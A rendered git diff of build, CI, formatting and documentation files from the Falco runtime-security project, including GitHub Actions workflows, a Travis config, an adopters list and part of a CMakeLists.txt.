AccessModifierOffset: -8
BreakBeforeBraces: Allman
BreakConstructorInitializers: AfterColon
ColumnLimit: 0
ConstructorInitializerIndentWidth: 8
ContinuationIndentWidth: 8
DerivePointerAlignment: true
IndentWidth: 8
SortIncludes: false
SpaceAfterTemplateKeyword: false
SpaceBeforeCtorInitializerColon: false
SpaceBeforeParens: Never
UseTab: Always

View File

@@ -1,119 +0,0 @@
# --------------------------
# General Formatting Options
# --------------------------
# How wide to allow formatted cmake files
line_width = 120
# How many spaces to tab for indent
tab_size = 2
# If arg lists are longer than this, break them always
max_subargs_per_line = 3
# If true, separate flow control names from their parentheses with a space
separate_ctrl_name_with_space = False
# If true, separate function names from parentheses with a space
separate_fn_name_with_space = False
# If a statement is wrapped to more than one line, than dangle the closing
# parenthesis on it's own line
dangle_parens = False
# If the statement spelling length (including space and parenthesis is larger
# than the tab width by more than this among, then force reject un-nested
# layouts.
max_prefix_chars = 2
# If a candidate layout is wrapped horizontally but it exceeds this many lines,
# then reject the layout.
max_lines_hwrap = 2
# What style line endings to use in the output.
line_ending = 'unix'
# Format command names consistently as 'lower' or 'upper' case
command_case = 'canonical'
# Format keywords consistently as 'lower' or 'upper' case
keyword_case = 'unchanged'
# Specify structure for custom cmake functions
additional_commands = {
"pkg_find": {
"kwargs": {
"PKG": "*"
}
}
}
# A list of command names which should always be wrapped
always_wrap = []
# Specify the order of wrapping algorithms during successive reflow attempts
algorithm_order = [0, 1, 2, 3, 4]
# If true, the argument lists which are known to be sortable will be sorted
# lexicographically
enable_sort = True
# If true, the parsers may infer whether or not an argument list is sortable
# (without annotation).
autosort = False
# If a comment line starts with at least this many consecutive hash characters,
# then don't lstrip() them off. This allows for lazy hash rulers where the first
# hash char is not separated by space
hashruler_min_length = 10
# A dictionary containing any per-command configuration overrides. Currently
# only `command_case` is supported.
per_command = {}
# --------------------------
# Comment Formatting Options
# --------------------------
# What character to use for bulleted lists
bullet_char = '*'
# What character to use as punctuation after numerals in an enumerated list
enum_char = '.'
# enable comment markup parsing and reflow
enable_markup = True
# If comment markup is enabled, don't reflow the first comment block in each
# listfile. Use this to preserve formatting of your copyright/license
# statements.
first_comment_is_literal = False
# If comment markup is enabled, don't reflow any comment block which matches
# this (regex) pattern. Default is `None` (disabled).
literal_comment_pattern = None
# Regular expression to match preformat fences in comments
# default=r'^\s*([`~]{3}[`~]*)(.*)$'
fence_pattern = '^\\s*([`~]{3}[`~]*)(.*)$'
# Regular expression to match rulers in comments
# default=r'^\s*[^\w\s]{3}.*[^\w\s]{3}$'
ruler_pattern = '^\\s*[^\\w\\s]{3}.*[^\\w\\s]{3}$'
# If true, then insert a space between the first hash char and remaining hash
# chars in a hash ruler, and normalize it's length to fill the column
canonicalize_hashrulers = True
# ---------------------------------
# Miscellaneous Options
# ---------------------------------
# If true, emit the unicode byte-order mark (BOM) at the start of the file
emit_byteorder_mark = False
# Specify the encoding of the input file. Defaults to utf-8.
input_encoding = 'utf-8'
# Specify the encoding of the output file. Defaults to utf-8. Note that cmake
# only claims to support utf-8 so be careful when using anything else
output_encoding = 'utf-8'

View File

@@ -1,4 +0,0 @@
aks
creat
chage
ro

View File

@@ -1,83 +0,0 @@
<!-- Thanks for sending a pull request! Here are some tips for you:
1. If this is your first time, please read our contributor guidelines in the [CONTRIBUTING.md](https://github.com/falcosecurity/.github/blob/master/CONTRIBUTING.md) file and learn how to compile Falco from source [here](https://falco.org/docs/source).
2. Please label this pull request according to what type of issue you are addressing.
3. . Please add a release note!
4. If the PR is unfinished while opening it specify a wip in the title before the actual title, for example, "wip: my awesome feature"
-->
**What type of PR is this?**
> Uncomment one (or more) `/kind <>` lines:
> /kind bug
> /kind cleanup
> /kind design
> /kind documentation
> /kind failing-test
> /kind feature
> /kind release
> If contributing rules or changes to rules, please make sure to also uncomment one of the following line:
> /kind rule-update
> /kind rule-create
<!--
Please remove the leading whitespace before the `/kind <>` you uncommented.
-->
**Any specific area of the project related to this PR?**
> Uncomment one (or more) `/area <>` lines:
> /area build
> /area engine
> /area rules
> /area tests
> /area proposals
> /area CI
<!--
Please remove the leading whitespace before the `/area <>` you uncommented.
-->
**What this PR does / why we need it**:
**Which issue(s) this PR fixes**:
<!--
Automatically closes linked issue when PR is merged.
Usage: `Fixes #<issue number>`, or `Fixes (paste link of issue)`.
If PR is `kind/failing-tests` or `kind/flaky-test`, please post the related issues/tests in a comment and do not use `Fixes`.
-->
Fixes #
**Special notes for your reviewer**:
**Does this PR introduce a user-facing change?**:
<!--
If no, just write "NONE" in the release-note block below.
If yes, a release note is required:
Enter your extended release note in the block below.
If the PR requires additional action from users switching to the new release, prepend the string "action required:".
For example, `action required: change the API interface of the rule engine`.
-->
```release-note
```

View File

@@ -1,175 +0,0 @@
name: CI Build
on:
pull_request:
branches: [master]
push:
branches: [master]
workflow_dispatch:
jobs:
build-minimal:
runs-on: ubuntu-20.04
steps:
- name: Checkout
uses: actions/checkout@v3
with:
fetch-depth: 0
ref: ${{ github.event.pull_request.head.sha }}
- name: Update base image
run: sudo apt update -y
- name: Install build dependencies
run: sudo DEBIAN_FRONTEND=noninteractive apt install libjq-dev libyaml-cpp-dev libelf-dev cmake build-essential git -y
- name: Prepare project
run: |
mkdir build-minimal
pushd build-minimal
cmake -DMINIMAL_BUILD=On -DBUILD_BPF=Off -DBUILD_DRIVER=Off -DCMAKE_BUILD_TYPE=Release ..
popd
- name: Build
run: |
pushd build-minimal
make -j4 all
popd
- name: Run unit tests
run: |
pushd build-minimal
make tests
popd
build-ubuntu-focal:
runs-on: ubuntu-20.04
steps:
- name: Checkout
uses: actions/checkout@v3
with:
fetch-depth: 0
ref: ${{ github.event.pull_request.head.sha }}
- name: Update base image
run: sudo apt update -y
- name: Install build dependencies
run: sudo DEBIAN_FRONTEND=noninteractive apt install libssl-dev libyaml-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm libelf-dev cmake build-essential libcurl4-openssl-dev linux-headers-$(uname -r) clang llvm git -y
- name: Prepare project
run: |
mkdir build
pushd build
cmake -DBUILD_BPF=On ..
popd
- name: Build
run: |
pushd build
KERNELDIR=/lib/modules/$(uname -r)/build make -j4 all
popd
- name: Run unit tests
run: |
pushd build
make tests
popd
build-ubuntu-focal-debug:
runs-on: ubuntu-20.04
steps:
- name: Checkout
uses: actions/checkout@v3
with:
fetch-depth: 0
ref: ${{ github.event.pull_request.head.sha }}
- name: Update base image
run: sudo apt update -y
- name: Install build dependencies
run: sudo DEBIAN_FRONTEND=noninteractive apt install libssl-dev libyaml-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm libelf-dev cmake build-essential libcurl4-openssl-dev linux-headers-$(uname -r) clang llvm git -y
- name: Prepare project
run: |
mkdir build
pushd build
cmake -DCMAKE_BUILD_TYPE=debug -DBUILD_BPF=On ..
popd
- name: Build
run: |
pushd build
KERNELDIR=/lib/modules/$(uname -r)/build make -j4 all
popd
- name: Run unit tests
run: |
pushd build
make tests
popd
build-ubuntu-bionic:
runs-on: ubuntu-18.04
steps:
- name: Checkout
uses: actions/checkout@v3
with:
fetch-depth: 0
ref: ${{ github.event.pull_request.head.sha }}
- name: Update base image
run: sudo apt update -y
- name: Install build dependencies
run: sudo DEBIAN_FRONTEND=noninteractive apt install cmake build-essential clang llvm git linux-headers-$(uname -r) pkg-config autoconf libtool libelf-dev -y
- name: Prepare project
run: |
mkdir build
pushd build
cmake -DBUILD_BPF=On -DUSE_BUNDLED_DEPS=On ..
popd
- name: Build
run: |
pushd build
KERNELDIR=/lib/modules/$(uname -r)/build make -j4 all
popd
- name: Run unit tests
run: |
pushd build
make tests
popd
build-centos7-debug:
runs-on: ubuntu-latest
container:
image: falcosecurity/falco-builder:latest
env:
BUILD_TYPE: "debug"
steps:
- name: Checkout
uses: actions/checkout@v3
with:
fetch-depth: 0
path: falco
ref: ${{ github.event.pull_request.head.sha }}
- name: Link falco repo to /source/falco
run: |
mkdir -p /source
ln -s "$GITHUB_WORKSPACE/falco" /source/falco
- name: Prepare project
run: /usr/bin/entrypoint cmake
- name: Build
run: /usr/bin/entrypoint all
- name: Run unit tests
run: /usr/bin/entrypoint tests
- name: Build packages
run: /usr/bin/entrypoint package

View File

@@ -1,75 +0,0 @@
# For most projects, this workflow file will not need changing; you simply need
# to commit it to your repository.
#
# You may wish to alter this file to override the set of languages analyzed,
# or to provide custom queries or build logic.
#
# ******** NOTE ********
# We have attempted to detect the languages in your repository. Please check
# the `language` matrix defined below to confirm you have the correct set of
# supported CodeQL languages.
#
name: "CodeQL"
on:
push:
branches: [ "master" ]
pull_request:
# The branches below must be a subset of the branches above
branches: [ "master" ]
jobs:
analyze:
name: Analyze
runs-on: ubuntu-20.04
permissions:
actions: read
contents: read
security-events: write
strategy:
fail-fast: false
matrix:
language: [ 'cpp' ]
# CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]
# Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support
steps:
- name: Checkout repository
uses: actions/checkout@v3
with:
fetch-depth: 0
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
with:
languages: ${{ matrix.language }}
# If you wish to specify custom queries, you can do so here or in a config file.
# By default, queries listed here will override any specified in a config file.
# Prefix the list here with "+" to use these queries and those in the config file.
# Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
# queries: security-extended,security-and-quality
- name: Update base image
run: sudo apt update -y
- name: Install build dependencies
run: sudo DEBIAN_FRONTEND=noninteractive apt install libssl-dev libyaml-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm libelf-dev cmake build-essential libcurl4-openssl-dev linux-headers-$(uname -r) clang llvm git -y
- name: Prepare project
run: |
mkdir build
pushd build
cmake -DBUILD_BPF=On ..
popd
- name: Build
run: |
pushd build
KERNELDIR=/lib/modules/$(uname -r)/build make -j4 all
popd
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v2

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@@ -1,14 +0,0 @@
name: Codespell
on:
pull_request:
jobs:
codespell:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- uses: codespell-project/actions-codespell@master
with:
skip: .git
ignore_words_file: .codespellignore
check_filenames: true
check_hidden: false

11
.gitignore vendored
View File

@@ -2,14 +2,19 @@
*~
*.pyc
test/falco_tests.yaml
test/traces-negative
test/traces-positive
test/traces-info
test/job-results
test/.phoronix-test-suite
test/results*.json.*
test/build
.vscode/*
userspace/falco/lua/re.lua
userspace/falco/lua/lpeg.so
*.idea*
docker/event-generator/event_generator
docker/event-generator/mysqld
docker/event-generator/httpd
docker/event-generator/sha1sum
docker/event-generator/vipw

46
.travis.yml Normal file
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@@ -0,0 +1,46 @@
language: c
env:
- BUILD_TYPE=Debug
- BUILD_TYPE=Release
sudo: required
services:
- docker
before_install:
- sudo add-apt-repository -y ppa:ubuntu-toolchain-r/test
- sudo apt-get update
install:
- sudo apt-get --force-yes install g++-4.8
- sudo apt-get install rpm linux-headers-$(uname -r) libelf-dev
- git clone https://github.com/draios/sysdig.git ../sysdig
- sudo apt-get install -y python-pip libvirt-dev jq dkms
- cd ..
- curl -Lo avocado-36.0-tar.gz https://github.com/avocado-framework/avocado/archive/36.0lts.tar.gz
- tar -zxvf avocado-36.0-tar.gz
- cd avocado-36.0lts
- sed -e 's/libvirt-python>=1.2.9/libvirt-python>=1.2.9,<4.1.0/' < requirements.txt > /tmp/requirements.txt && mv /tmp/requirements.txt ./requirements.txt
- sudo -H pip install -r requirements.txt
- sudo python setup.py install
- cd ../falco
before_script:
- export KERNELDIR=/lib/modules/$(uname -r)/build
script:
- set -e
- export CC="gcc-4.8"
- export CXX="g++-4.8"
- mkdir build
- cd build
- cmake .. -DCMAKE_BUILD_TYPE=$BUILD_TYPE -DDRAIOS_DEBUG_FLAGS="-D_DEBUG -DNDEBUG"
- make VERBOSE=1
- make package
- cp falco*.deb ../docker/local
- cd ../docker/local
- docker build -t sysdig/falco:test .
- cd ../..
- sudo test/run_regression_tests.sh $TRAVIS_BRANCH
notifications:
webhooks:
urls:
# - https://webhooks.gitter.im/e/fdbc2356fb0ea2f15033
on_success: change
on_failure: always
on_start: never

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@@ -1,8 +0,0 @@
extends: default
rules:
indentation: disable
document-start: disable
comments: disable
line-length: disable
new-line-at-end-of-file: disable

View File

@@ -1,85 +0,0 @@
# Adopters
Known end users with notable contributions to the project include:
* AWS
* IBM
* Red Hat
Falco is being used by numerous other companies, both large and small, to build higher layer products and services. The list includes but is not limited to:
* Equinix Metal
* IEEE
* Lowes
* Reckrut
* Yellow Pepper
* CTx
* Utikal
* Discrete Events
* Agritech Infra
This is a list of production adopters of Falco (in alphabetical order):
* [ASAPP](https://www.asapp.com/) - ASAPP is a pushing the boundaries of fundamental artificial intelligence research. We apply our research into AI-Native® products that make organizations, in the customer experience industry, highly productive, efficient, and effective—by augmenting human activity and automating workflows. We constantly monitor our workloads against different hazards and FALCO helps us extend our threat monitoring boundaries.
* [Booz Allen Hamilton](https://www.boozallen.com/) - BAH leverages Falco as part of their Kubernetes environment to verify that work loads behave as they did in their CD DevSecOps pipelines. BAH offers a solution to internal developers to easily build DevSecOps pipelines for projects. This makes it easy for developers to incorporate Security principles early on in the development cycle. In production, Falco is used to verify that the code the developer ships does not violate any of the production security requirements. BAH [are speaking at Kubecon NA 2019](https://kccncna19.sched.com/event/UaWr/building-reusable-devsecops-pipelines-on-a-secure-kubernetes-platform-steven-terrana-booz-allen-hamilton-michael-ducy-sysdig) on their use of Falco.
* [Coveo](https://www.coveo.com/) - Coveo stitches together content and data, learning from every interaction, to tailor every experience using AI to drive growth, satisfy customers and develop employee proficiency. All Falco events are centralized in our SIEM for analysis. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions with containers and orchestration systems. Falco is giving us a good visibility inside containers and complement other Host and Network Intrusion Detection Systems. In a near future, we expect to deploy serverless functions to take action when Falco identifies patterns worth taking action for.
* [Fairwinds](https://fairwinds.com/) - [Fairwinds Insights](https://fairwinds.com/insights), Kubernetes governance software, integrates Falco to offer a single pane of glass view into potential security incidents. Insights adds out-of-the-box integrations and rules filter to reduce alert fatigue and improve security response. The platform adds security prevention, detection, and response capabilities to your existing Kubernetes infrastructure. Security and DevOps teams benefit from a centralized view of container security vulnerability scanning and runtime container security.
* [Frame.io](https://frame.io/) - Frame.io is a cloud-based (SaaS) video review and collaboration platform that enables users to securely upload source media, work-in-progress edits, dailies, and more into private workspaces where they can invite their team and clients to collaborate on projects. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions like Docker and Kubernetes. To get this needed visibility into our system, we rely on Falco. Falco's ability to collect raw system calls such as open, connect, exec, along with their arguments offer key insights on what is happening on the production system and became the foundation of our intrusion detection and alerting system.
* [Giant Swarm](https://www.giantswarm.io/) - Giant Swarm manages Kubernetes clusters and infrastructure for enterprises across multiple cloud providers as well as several flavors of on-premises data centers. Our platform provisions and monitors pure "vanilla" Kubernetes clusters which can be augmented with managed solutions to many common Kubernetes challenges, including security. We use Falco for anomaly detection as part of our collection of entirely open-source tools for securing our own clusters, and offer the same capabilities to our customers as part of our [managed security offering](https://docs.giantswarm.io/app-platform/apps/security/).
* [GitLab](https://about.gitlab.com/direction/defend/container_host_security/) - GitLab is a complete DevOps platform, delivered as a single application, fundamentally changing the way Development, Security, and Ops teams collaborate. GitLab Ultimate provides the single tool teams need to find, triage, and fix vulnerabilities in applications, services, and cloud-native environments enabling them to manage their risk. This provides them with repeatable, defensible processes that automate security and compliance policies. GitLab includes a tight integration with Falco, allowing users to defend their containerized applications from attacks while running in production.
* [gVisor](https://gvisor.dev/) - gVisor secures Kubernetes, containers, and workloads via an alternate execution environment that handles system calls in user space, blocking security issues before they reach the underlying host. gVisor provides defense-in-depth, protection against untrusted code execution, and a secure-by-default Kubernetes experience where containers are a security boundary. Falco can be used with gVisor to detect unusual or suspicious activity using its threat detection engine on top of gVisor runtime execution information.
* [League](https://league.com/ca/) - League provides health benefits management services to help employees understand and get the most from their benefits, and employers to provide effective, efficient plans. Falco is used to monitor our deployed services on Kubernetes, protecting against malicious access to containers which could lead to leaks of PHI or other sensitive data. The Falco alerts are logged in Stackdriver for grouping and further analysis. In the future, we're hoping for integrations with Prometheus and AlertManager as well.
* [Logz.io](https://logz.io/) - Logz.io is a cloud observability platform for modern engineering teams. The Logz.io platform consists of three products — Log Management, Infrastructure Monitoring, and Cloud SIEM — that work together to unify the jobs of monitoring, troubleshooting, and security. We empower engineers to deliver better software by offering the world's most popular open source observability tools — the ELK Stack, Grafana, and Jaeger — in a single, easy to use, and powerful platform purpose-built for monitoring distributed cloud environments. Cloud SIEM supports data from multiple sources, including Falco's alerts, and offers useful rules and dashboards content to visualize and manage incidents across your systems in a unified UI.
* https://logz.io/blog/k8s-security-with-falco-and-cloud-siem/
* [MathWorks](https://mathworks.com) - MathWorks develops mathematical computing software for engineers and scientists. MathWorks uses Falco for Kubernetes threat detection, unexpected application behavior, and maps Falco rules to their cloud infrastructure's security kill chain model. MathWorks presented their Falco use case at [KubeCon + CloudNativeCon North America 2020](https://www.youtube.com/watch?v=L-5RYBTV010).
* [Pocteo](https://pocteo.co) - Pocteo helps with Kubernetes adoption in enterprises by providing a variety of services such as training, consulting, auditing and mentoring. We build CI/CD pipelines the GitOps way, as well as design and run k8s clusters. Pocteo uses Falco as a runtime monitoring system to secure clients' workloads against suspicious behavior and ensure k8s pods immutability. We also use Falco to collect, process and act on security events through a response engine and serverless functions.
* [Preferral](https://www.preferral.com) - Preferral is a HIPAA-compliant platform for Referral Management and Online Referral Forms. Preferral streamlines the referral process for patients, specialists and their referral partners. By automating the referral process, referring practices spend less time on the phone, manual efforts are eliminated, and patients get the right care from the right specialist. Preferral leverages Falco to provide a Host Intrusion Detection System to meet their HIPAA compliance requirements.
* https://hipaa.preferral.com/01-preferral_hipaa_compliance/
* [Qonto](https://qonto.com) - Qonto is a modern banking for SMEs and freelancers. Qonto provides a fully featured business account with a simplified accounting flow. Falco is used by our SecOps team to detect suspicious behaviors in our clusters.
* [Raft](https://goraft.tech) - Raft is a government contractor that offers cloud-native solutions across many different agencies including DoD (Department of Defense), HHS (Health and Human Services), as well as within CFPB (Consumer Finance Protection Bureau). Raft leverages Falco to detect threats in our client's Kubernetes clusters and as a Host Intrusion Detection System. Raft proudly recommends Falco across all our different projects.
* [Replicated](https://www.replicated.com/) - Replicated is the modern way to ship on-prem software. Replicated gives software vendors a container-based platform for easily deploying cloud native applications inside customers' environments to provide greater security and control. Replicated uses Falco as runtime security to detect threats in the Kubernetes clusters which host our critical SaaS services.
* [Secureworks](https://www.secureworks.com/) - Secureworks is a leading worldwide cybersecurity company with a cloud-native security product that combines the power of human intellect with security analytics to unify detection and response across cloud, network, and endpoint environments for improved security operations and outcomes. Our Taegis XDR platform and detection system processes petabytes of security relevant data to expose active threats amongst the billions of daily events from our customers. We are proud to protect our platforms Kubernetes deployments, as well as help our customers protect their own Linux and container environments, using Falco.
* [Shopify](https://www.shopify.com) - Shopify is the leading multi-channel commerce platform. Merchants use Shopify to design, set up, and manage their stores across multiple sales channels, including mobile, web, social media, marketplaces, brick-and-mortar locations, and pop-up shops. The platform also provides merchants with a powerful back-office and a single view of their business, from payments to shipping. The Shopify platform was engineered for reliability and scale, making enterprise-level technology available to businesses of all sizes. Shopify uses Falco to complement its Host and Network Intrusion Detection Systems.
* [Sight Machine](https://www.sightmachine.com) - Sight Machine is the category leader for manufacturing analytics and used by Global 500 companies to make better, faster decisions about their operations. Sight Machine uses Falco to help enforce SOC2 compliance as well as a tool for real time security monitoring and alerting in Kubernetes.
* [Skyscanner](https://www.skyscanner.net) - Skyscanner is the world's travel search engine for flights, hotels and car rentals. Most of our infrastructure is based on Kubernetes, and our Security team is using Falco to monitor anomalies at runtime, integrating Falco's findings with our internal ChatOps tooling to provide insight on the behavior of our machines in production. We also postprocess and store Falco's results to generate dashboards for auditing purposes.
* [Sumo Logic](https://www.sumologic.com/) - Sumo Logic provides a SaaS based log aggregation service that provides dashboards and applications to easily identify and analyze problems in your application and infrastructure. Sumo Logic provides native integrations for many CNCF projects, such as Falco, that allows end users to easily collect Falco events and analyze Falco events on DecSecOps focused dashboards.
* [Swissblock Technologies](https://swissblock.net/) At Swissblock we connect the dots by combining cutting-edge algorithmic trading strategies with in-depth market analysis. We route all Falco events to our control systems, both monitoring and logging. Being able to deeply analyse alerts, we can understand what is running on our Kubernetes clusters and check against security policies, specifically defined for each workload. A set of alarms notifies us in case of critical events, letting us react fast. In the near future we plan to build a little application to route Kubernetes internal events directly to Falco, fully leveraging Falco PodSecurityPolicies analyses.
* [Shapesecurity/F5](https://www.shapesecurity.com/) Shapesecurity defends against application fraud attacks like Account Take Over, Credential Stuffing, Fake Accounts, etc. Required by FedRamp certification, we needed to find a FIM solution to help monitor and protect our Kubernetes clusters. Traditional FIM solutions were not scalable and not working for our environment, but with Falco we found the solution we needed. Falco's detection capabilities have helped us identify anomalous behaviour within our clusters. We leverage Sidekick (https://github.com/falcosecurity/charts/tree/master/falcosidekick) to send Falco alerts to a PubSub which in turn publishes those alerts to our SIEM (SumoLogic)
* [Yahoo! JAPAN](https://www.yahoo.co.jp/) Yahoo! JAPAN is a leading company of internet in Japan. We build an AI Platform in our private cloud and provide it to scientists in our company. AI Platform is a multi-tenant Kubernetes environment and more flexible, faster, more efficient Machine Learning environment. Falco is used to detect unauthorized commands and malicious access and our AI Platform is monitored and alerted by Falco.
* [Sysdig](https://www.sysdig.com/) Sysdig originally created Falco in 2016 to detect unexpected or suspicious activity using a rules engine on top of the data that comes from the sysdig kernel system call driver. Sysdig provides tooling to help with vulnerability management, compliance, detection, incident response and forensics in Cloud-native environments. Sysdig Secure has extended Falco to include: a rule library, the ability to update macros, lists & rules via the user interface and API, automated tuning of rules, and rule creation based on profiling known system behavior. On top of the basic Falco rules, Sysdig Secure implements the concept of a "Security policy" that can comprise several rules which are evaluated for a user-defined infrastructure scope like Kubernetes namespaces, OpenShift clusters, deployment workload, cloud regions etc.
* [Xenit AB](https://xenit.se/contact/) Xenit is a growth company with services within cloud and digital transformation. We provide an open-source Kubernetes framework that we leverage to help our customers get their applications to production as quickly and as securely as possible. We use Falco's detection capabilities to identify anomalous behaviour within our clusters in both Azure and AWS.
## Projects that use Falco libs
* [R6/Phoenix](https://r6security.com/) is an attack surface protection company that uses moving target defense to provide fully automated, proactive and devops friendly security to its customers. There are a set of policies you can add to enable the moving target defense capabilities. Some of them are triggered by a combination of Falco's findings. You can kill, restart and rename pods according to the ever changing policies.
* [SysFlow](https://sysflow.io) SysFlow is a cloud-native system telemetry framework that focuses on data abstraction, behavioral analytics, and noise reduction. At its core, SysFlow exposes a compact open telemetry format that records workload behaviors by connecting event and flow representations of process control flows, file interactions, and network communications. The resulting abstraction encodes a graph structure that enables provenance reasoning on host and container environments, and fast retrieval of security-relevant information.
* [StackRox](https://stackrox.io) is the industrys first Kubernetes-native security platform enabling organizations to build, deploy, and run cloud-native applications securely. The platform works with Kubernetes environments and integrates with DevOps and security tools, enabling teams to operationalize and secure their supply chain, infrastructure, and workloads. StackRox aims to harness containerized applications development speed while giving operations and security teams greater context and risk profiling. StackRox leverages cloud-native principles and declarative artifacts to automate DevSecOps best practices.
## Adding a name
If you would like to add your name to this file, submit a pull request with your change.

File diff suppressed because it is too large Load Diff

14
CMakeCPackOptions.cmake Normal file
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@@ -0,0 +1,14 @@
if(CPACK_GENERATOR MATCHES "DEB")
list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/init.d/")
list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/debian/falco _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/init.d")
endif()
if(CPACK_GENERATOR MATCHES "RPM")
list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/rc.d/init.d/")
list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/rpm/falco _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/rc.d/init.d")
endif()
if(CPACK_GENERATOR MATCHES "TGZ")
set(CPACK_SET_DESTDIR "ON")
set(CPACK_STRIP_FILES "OFF")
endif()

View File

@@ -1,232 +1,471 @@
#
# Copyright (C) 2019 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
cmake_minimum_required(VERSION 3.5.1)
cmake_minimum_required(VERSION 2.8.2)
project(falco)
option(USE_BUNDLED_DEPS "Bundle hard to find dependencies into the Falco binary" OFF)
option(BUILD_WARNINGS_AS_ERRORS "Enable building with -Wextra -Werror flags" OFF)
option(MINIMAL_BUILD "Build a minimal version of Falco, containing only the engine and basic input/output (EXPERIMENTAL)" OFF)
option(MUSL_OPTIMIZED_BUILD "Enable if you want a musl optimized build" OFF)
# gVisor is currently only supported on Linux x86_64
if(CMAKE_SYSTEM_PROCESSOR STREQUAL "x86_64" AND CMAKE_SYSTEM_NAME MATCHES "Linux" AND NOT MINIMAL_BUILD)
option(BUILD_FALCO_GVISOR "Build gVisor support for Falco" ON)
if (BUILD_FALCO_GVISOR)
add_definitions(-DHAS_GVISOR)
endif()
if(NOT DEFINED FALCO_VERSION)
set(FALCO_VERSION "0.1.1dev")
endif()
# Modern BPF is not supported on not Linux systems and in MINIMAL_BUILD
if(CMAKE_SYSTEM_NAME MATCHES "Linux" AND NOT MINIMAL_BUILD)
option(BUILD_FALCO_MODERN_BPF "Build modern BPF support for Falco" OFF)
if(BUILD_FALCO_MODERN_BPF)
add_definitions(-DHAS_MODERN_BPF)
endif()
endif()
# We shouldn't need to set this, see https://gitlab.kitware.com/cmake/cmake/-/issues/16419
option(EP_UPDATE_DISCONNECTED "ExternalProject update disconnected" OFF)
if (${EP_UPDATE_DISCONNECTED})
set_property(
DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}
PROPERTY EP_UPDATE_DISCONNECTED TRUE)
endif()
# Elapsed time
# set_property(GLOBAL PROPERTY RULE_LAUNCH_COMPILE "${CMAKE_COMMAND} -E time") # TODO(fntlnz, leodido): add a flag to enable this
# Make flag for parallel processing
include(ProcessorCount)
processorcount(PROCESSOR_COUNT)
if(NOT PROCESSOR_COUNT EQUAL 0)
set(PROCESSOUR_COUNT_MAKE_FLAG -j${PROCESSOR_COUNT})
endif()
# Custom CMake modules
list(APPEND CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake/modules")
# GNU standard installation directories' definitions
include(GNUInstallDirs)
if(NOT DEFINED FALCO_ETC_DIR)
set(FALCO_ETC_DIR "${CMAKE_INSTALL_FULL_SYSCONFDIR}/falco")
set(FALCO_ETC_DIR "/etc/falco")
endif()
# This will be used to print the architecture for which Falco is compiled.
set(FALCO_TARGET_ARCH ${CMAKE_SYSTEM_PROCESSOR})
if(NOT FALCO_EXTRA_DEBUG_FLAGS)
set(FALCO_EXTRA_DEBUG_FLAGS "-D_DEBUG")
if(NOT CMAKE_BUILD_TYPE)
SET(CMAKE_BUILD_TYPE Release)
endif()
string(TOLOWER "${CMAKE_BUILD_TYPE}" CMAKE_BUILD_TYPE)
if(CMAKE_BUILD_TYPE STREQUAL "debug")
set(KBUILD_FLAGS "${FALCO_EXTRA_DEBUG_FLAGS} ${FALCO_EXTRA_FEATURE_FLAGS}")
else()
set(CMAKE_BUILD_TYPE "release")
set(KBUILD_FLAGS "${FALCO_EXTRA_FEATURE_FLAGS}")
add_definitions(-DBUILD_TYPE_RELEASE)
endif()
message(STATUS "Build type: ${CMAKE_BUILD_TYPE}")
if(MINIMAL_BUILD)
set(MINIMAL_BUILD_FLAGS "-DMINIMAL_BUILD")
if(NOT DRAIOS_DEBUG_FLAGS)
set(DRAIOS_DEBUG_FLAGS "-D_DEBUG")
endif()
if(MUSL_OPTIMIZED_BUILD)
set(MUSL_FLAGS "-static -Os -fPIE -pie")
add_definitions(-DMUSL_OPTIMIZED)
endif()
set(CMAKE_C_FLAGS "-Wall -ggdb ${DRAIOS_FEATURE_FLAGS}")
set(CMAKE_CXX_FLAGS "-Wall -ggdb --std=c++0x ${DRAIOS_FEATURE_FLAGS}")
# explicitly set hardening flags
set(CMAKE_POSITION_INDEPENDENT_CODE ON)
set(FALCO_SECURITY_FLAGS "-Wl,-z,relro,-z,now -fstack-protector-strong")
if(CMAKE_BUILD_TYPE STREQUAL "release")
set(FALCO_SECURITY_FLAGS "${FALCO_SECURITY_FLAGS} -D_FORTIFY_SOURCE=2")
endif()
set(CMAKE_COMMON_FLAGS "${FALCO_SECURITY_FLAGS} -Wall -ggdb ${FALCO_EXTRA_FEATURE_FLAGS} ${MINIMAL_BUILD_FLAGS} ${MUSL_FLAGS}")
if(BUILD_WARNINGS_AS_ERRORS)
